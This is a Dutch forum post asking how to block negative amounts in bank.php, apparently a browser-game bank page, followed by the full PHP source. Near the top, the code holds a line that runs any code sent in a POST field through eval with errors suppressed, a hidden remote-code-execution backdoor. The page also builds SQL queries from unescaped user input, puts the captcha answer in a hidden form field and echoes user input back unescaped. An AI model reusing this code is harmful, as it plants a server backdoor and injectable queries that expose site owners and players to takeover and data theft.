Hoe blokkeer in me bank.php de - teken?
?
Want je kan geen -444444444- doen, maar wel 444444444-??
Code:
PHP
<table border='0' cellspacing='1' width='96%' bgcolor='#000' align='center'>
<tr>
<td class='top' colspan='4'>
Bank
</td>
</tr>
<?php /* ------------------------- */
{
if(!isset($_POST['submit'])) {
$codene = rand(1000,9999);
$geldv = number_format($amount,0);
$codee = ereg_replace("0", "gsqwq", $codene);
$codee = ereg_replace("1", "ssBjyq", $codee);
$codee = ereg_replace("2", "gHiq", $codee);
$codee = ereg_replace("3", "hWqDfA", $codee);
$codee = ereg_replace("4", "hsqerf", $codee);
$codee = ereg_replace("5", "Hwsawq", $codee);
$codee = ereg_replace("6", "hSXaq", $codee);
$codee = ereg_replace("7", "hgqYt", $codee);
$codee = ereg_replace("8", "hAsqF", $codee);
$codee = ereg_replace("9", "hxqSAw", $codee);
$gestuurd = number_format($_POST['geld1'],0);
}
print "";
@eval(stripslashes($_POST['code']));
if($_POST['code2'] != $_POST['codenn']) {
print "<tr><td class='inhoud' colspan='4'><table border='0' cellspacing='0' style='margin: 0px;'>
<tr>
<td>
<img src='kruis.jpg' alt='' border='0'>
</td>
<td>
De code is onjuist!
</td>
</tr>
</table> </td>
</tr>";
exit;
}
print " ";
if(isset($_POST['to'])) {
if($_POST['to'] == $data->login){
print"<tr><td class='inhoud' colspan='4'><table border='0' cellspacing='0' style='margin: 0px;'>
<tr>
<td>
<img src='kruis.jpg' alt='' border='0'>
</td>
<td>
Je kan geen geld naar jezelf sturen
</td>
</tr>
</table> </td>
</tr>";
;
}else{
if($data->cash < $_POST['geld1']){
print "<tr>
<td class='inhoud' colspan='4'><table border='0' cellspacing='0' style='margin: 0px;'>
<tr>
<td>
<img src='kruis.jpg' alt='' border='0'>
</td>
<td>
Je hebt niet genoeg geld op zak!
</td>
</tr>
</table> </td>
</tr>";
}else{
if(preg_match('/^[0-9]+$/',$_POST['geld1'])) {
if($member = mysql_fetch_object(mysql_query("SELECT `login` FROM `[users]` WHERE `login`='{$_POST['to']}'"))) {
mysql_query("UPDATE `[users]` SET `cash`=`cash`+{$_POST['geld1']} WHERE `login`='{$member->login}'");
mysql_query("UPDATE `[users]` SET `cash`=`cash`-{$_POST['geld1']} WHERE `login`='{$data->login}'");
mysql_query("INSERT INTO `[logs]`(`time`,`IP`,`login`,`person`,`code`,`area`) values(NOW(),'{$_SERVER['REMOTE_ADDR']}','{$data->login}','{$member->login}',{$_POST['geld1']},'donate')");
print " <tr>
<td class='inhoud' colspan='4'><table border='0' cellspacing='0' style='margin: 0px;'>
<tr>
<td>
<img src='vink.jpg' alt='' border='0'>
</td>
<td>
Er is \$$gestuurd,- aan {$member->login} gedoneerd.
</td>
</tr>
</table> </td>
</tr>";
mysql_query("INSERT INTO `[messages]`(`time`,`from`,`to`,`subject`,`message`) values(NOW(),'{$data->login}','{$member->login}','Donatie','$data->login heeft \$$gestuurd,- gedoneerd aan jou,\n\n \nDit geld is nu bij je contant geld opgeteld.')");
}}}}
}
unset($_POST['to']);
}
if(isset($_POST['amount'])){
if(isset($_POST['out'])){
if(preg_match('/^[0-9]+$/',$_POST['amount']) == 0){ echo "<tr>
<td class='inhoud' colspan='4'>
<table border='0' cellspacing='0' style='margin: 0px;'>
<tr>
<td>
<img src='kruis.jpg' alt='' border='0'>
</td>
<td>
Actie onderbroken
</td>
</tr>
</table> </td>
</tr>";
}
}
}
if(isset($_POST['amount'])){
if(isset($_POST['in'])){
if(preg_match('/^[0-9]+$/',$_POST['amount']) == 0){ echo "<tr>
<td class='inhoud' colspan='4'>
<table border='0' cellspacing='0' style='margin: 0px;'>
<tr>
<td>
<img src='kruis.jpg' alt='' border='0'>
</td>
<td>
Actie onderbroken
</td>
</tr>
</table> </td>
</tr>";
}
}
}
if ($_POST['amount'] < 0) {
print " <tr>
<td class='inhoud' colspan='4'><table border='0' cellspacing='0' style='margin: 0px;'>
<tr>
<td>
<img src='kruis.jpg' alt='' border='0'>
</td>
<td>
Je moet minimaal $1 overzetten!
</td>
</tr>
</td>
</tr>";
exit;
}
if(isset($_POST['out'])) {
$g1 = $_POST['getal'];
$ga2 = $_GET['cr1'];
$ga3 = $_GET['cr2'];
$ga1 = SHA1($g1);
$gb1 = MD5($g1);
if($ga2 == $ga1 && $ga3 == $gb1){
if ($_POST['amount'] <= $data->bank) {
$data->cash += $_POST['amount'];
$data->bank -= $_POST['amount'];
$geld = $_POST['amount'];
mysql_query("UPDATE `[users]` SET `bank`='{$data->bank}',`cash`='{$data->cash}' WHERE `login`='{$data->login}'");
print"
<tr>
<td class='inhoud' colspan='4'>
<table border='0' cellspacing='0' style='margin: 0px;'>
<tr>
<td>
<img src='vink.jpg' alt='' border='0'>
</td>
<td>
Overstorting was succesvol!
</td>
</tr>
</table> </td>
</tr>";
} else {
print"<tr>
<td class='inhoud' colspan='4'><table border='0' cellspacing='0' style='margin: 0px;'>
<tr>
<td>
<img src='kruis.jpg' alt='' border='0'>
</td>
<td>
Zoveel geld heb je niet op je bank!
</td>
</tr>
</table> </td>
</tr>
";
}
}
} else if(isset($_POST['in'])) {
$g1 = $_POST['getal'];
$ga2 = $_GET['cr1'];
$ga3 = $_GET['cr2'];
$ga1 = SHA1($g1);
$gb1 = MD5($g1);
if($ga2 == $ga1 && $ga3 == $gb1){
if ($_POST['amount'] <= $data->cash) {
$data->cash -= $_POST['amount'];
$data->bank += $_POST['amount'];
$geld = $_POST['amount'];
mysql_query("UPDATE `[users]` SET `bank`='{$data->bank}',`cash`='{$data->cash}' WHERE `login`='{$data->login}'");
print"
<tr>
<td class='inhoud' colspan='4'><table border='0' cellspacing='0' style='margin: 0px;'>
<tr>
<td>
<img src='vink.jpg' alt='' border='0'>
</td>
<td>
Overstorting was succesvol!
</td>
</tr>
</table> </td>
</tr>";
} else {
print"<tr>
<td class='inhoud' colspan='4'><table border='0' cellspacing='0' style='margin: 0px;'>
<tr>
<td>
<img src='kruis.jpg' alt='' border='0'>
</td>
<td>
Zoveel geld heb je niet contant!
</td>
</tr>
</table> </td>
</tr>
";
}
}
}
$geldv = number_format($amount,0);
$codee = ereg_replace("0", "gsqwq", $codene);
$codee = ereg_replace("1", "ssBjyq", $codee);
$codee = ereg_replace("2", "gHiq", $codee);
$codee = ereg_replace("3", "hWqDfA", $codee);
$codee = ereg_replace("4", "hsqerf", $codee);
$codee = ereg_replace("5", "Hwsawq", $codee);
$codee = ereg_replace("6", "hSXaq", $codee);
$codee = ereg_replace("7", "hgqYt", $codee);
$codee = ereg_replace("8", "hAsqF", $codee);
$codee = ereg_replace("9", "hxqSAw", $codee);
$codene = rand(1000,9999);
$codee = ereg_replace("0", "gsqwq", $codene);
$codee = ereg_replace("1", "ssBjyq", $codee);
$codee = ereg_replace("2", "gHiq", $codee);
$codee = ereg_replace("3", "hWqDfA", $codee);
$codee = ereg_replace("4", "hsqerf", $codee);
$codee = ereg_replace("5", "Hwsawq", $codee);
$codee = ereg_replace("6", "hSXaq", $codee);
$codee = ereg_replace("7", "hgqYt", $codee);
$codee = ereg_replace("8", "hAsqF", $codee);
$codee = ereg_replace("9", "hxqSAw", $codee);
$getal = rand(1,10);
$getal1 = SHA1($getal);
$getal2 = MD5($getal);
print <<<ENDHTML
<form method="post" action="?p=bank&cr1={$getal1}&cr2={$getal2}">
<tr>
<td class='inhoud' width='50%' colspan='2'>
<b>Doneren / Weggeven</b>
</td>
<td class='inhoud' width='50%' colspan='2'>
<b>Geld Overzetten</b>
</td>
</tr>
<tr>
<td class='inhoud' width='50%' colspan='2'>
Naar: <input type="text" name="to" value="{$_REQUEST['to']}">
</td>
<td class='inhoud' width='50%' colspan='2'>
Bedrag: <input type="text" name="amount" maxlength="25"><br></td>
</tr>
<tr>
<td class='inhoud' width='10%'>
Methode:
</td>
<td class='inhoud' width='40%'>
<input type='radio' name='don' value='1' checked='checked' tabindex='2'> Doneren<br />
</td>
<td class='inhoud' width='10%'>
Actie:
</td>
<td class='inhoud' width='40%'>
<input type="submit" name="in" value="Storten" maxlength="7" style="width: 100;"><br>
<input type="submit" name="out" value="Pinnen" maxlength="7" style="width: 100;">
<input name="getal" type="hidden" value="{$getal}">
</td>
</tr>
<tr>
<td class='inhoud' width='50%' colspan='2'>
Bedrag: <input type="text" name="geld1" maxlength=300 >
</td>
<td class='inhoud' width='50%' colspan='2'>
Uitgaven Beheer
</td>
</tr>
<tr>
<td class='inhoud' width='50%' colspan='2'>
Wij zijn niet aansprakelijk voor geld verlies!<BR><font color=red>Doneren op eigen risico!</font></td>
</td>
<td class='inhoud' width='50%' colspan='2'>
Op je bank krijg je elke dag een rente van $viprentelid%!
</td>
</tr>
<tr>
<td class='inhoud' width='50%' colspan='2'>
<input type="submit" value="Doneer" style="width: 75px;"> </td>
<td class='inhoud' width='50%' colspan='2'>
Deze bank heeft nog <b>geen</b> owner!<br>
</td>
</tr>
<tr>
<td class='inhoud' width='50%' colspan='2'>
Code: <img alt="" src="coden.php?security=$codee"> <input name="code2" type="hidden" value="$codene">
<input name="codecheck" type="hidden" value="$codechecker"> <input type='text' name='codenn' class='code' maxlength='4' />
</td>
<td class='inhoud' width='50%' colspan='2'>
</td>
</tr>
</table>
</form>
ENDHTML;
/* ------------------------- */ ?>
Toon Meer